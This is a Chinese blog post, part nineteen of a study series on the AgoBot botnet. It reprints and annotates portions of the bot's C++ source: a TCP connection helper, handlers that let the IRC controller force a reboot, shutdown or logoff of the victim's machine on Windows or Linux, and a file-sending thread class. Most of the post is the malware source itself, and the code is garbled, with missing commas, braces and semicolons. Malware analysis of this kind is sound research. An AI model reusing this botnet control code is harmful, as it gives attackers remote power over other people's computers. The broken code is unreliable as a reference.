AgoBot 僵尸网络研究笔记(十九)

十九、2008年04月17日

作者:青青子衿

email:[email protected]

1void *CDownloadHelper::Run()函数中使用了 DoTcpConnect函数

/////////////////////////////////////////////////////////////////

//

//函数功能:实现TCP协议通讯的连接

//参数: const char *szHost  IP地址

// int iPort 端口

//返回值: 返回的是套接字变量

//

////////////////////////////////////////////////////////////////////

int DoTcpConnect(const char *szHostint iPort)

{

int sSocket=socket(AF_INETSOCK_STREAMIPPROTO_TCP);

if(sSocket==INVALID_SOCKET

{

return SOCKET_ERROR;

}

sockaddr_in ssin

memset(&ssin, 0, sizeof(ssin)); 

ssin.sin_family=AF_INET;

ssin.sin_port=htons(iPort); //设置目标端端口

ssin.sin_addr.s_addr=ResolveAddress(szHost);  //设置目标端的IP地址

if(connect(sSocket, (sockaddr*)&ssinsizeof(sockaddr_in))==SOCKET_ERROR//发起连接

{

//如果连接失败

xClose(sSocket); 

return SOCKET_ERROR

}

return sSocket

}

2、class CRSLControl : public CCommandHandler

class CRSLControl : public CCommandHandler

{

public:

void Init();

bool HandleCommand(CMessage *pMsg);

command m_cmdRebootm_cmdShutdownm_cmdLogoff;

};

包含两个成员函数,和三个成员变量。

3void CRSLControl::Init()  函数

////////////////////////////////////////////////////////////////////////////////

//

//函数功能:完成CRSLControl类的初始化工作,向指令列表中添加,该类负责处理的指令

//参数:

//返回值: void

//

////////////////////////////////////////////////////////////////////////////////

void CRSLControl::Init() 

{

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdReboot, "rsl.reboot", "reboots the computer", this); //重启系统指令

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdShutdown, "rsl.shutdown", "shuts the computer down", this); //关机指令

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdLogoff, "rsl.logoff", "logs the user off", this); //注销指令

}

4bool HandleCommand(CMessage *pMsg);函数

///////////////////////////////////////////////////////////////////////////////

//

//函数功能:该类的指令处理函数

//参数: CMessage *pMsg 收到的相应的指令

//返回值: 调用成功返回true,否则返回false

//

/////////////////////////////////////////////////////////////////////////////////////

bool CRSLControl::HandleCommand(CMessage *pMsg

{

//处理重启指令

if(!pMsg->sCmd.Compare("rsl.reboot")) 

{

//向控制端发送正在重启消息

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo"rebooting...");

#ifdef WIN32

ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0);  //重启计算机的函数

#else

system("reboot"); //linux平台下的重启计算机的函数

#endif // WIN32

//处理关闭计算机指令

else if(!pMsg->sCmd.Compare("rsl.shutdown")) 

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo"shutting down...");

#ifdef WIN32

ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0);

#else

system("shutdown");

#endif // WIN32

//处理注销指令

else if(!pMsg->sCmd.Compare("rsl.logoff")) 

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo, /

"logging off...");

#ifdef WIN32

ExitWindowsEx(EWX_LOGOFF|EWX_FORCE,0);

#else

system("init 1");

#endif // WIN32

}

return false;

}

5class CSendFile : public CThread  

//////////////////////////////////////////////////////

//

//类功能:发送文件

//

//////////////////////////////////////////////////////

class CSendFile : public CThread

{

public:

virtual ~CSendFile() 

if(m_sListenSocket>0) 

{

xClose(m_sListenSocket); 

}

}

virtual void *Run();

protected:

int m_sListenSocket;

sockaddr_in m_lAddr;

};

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章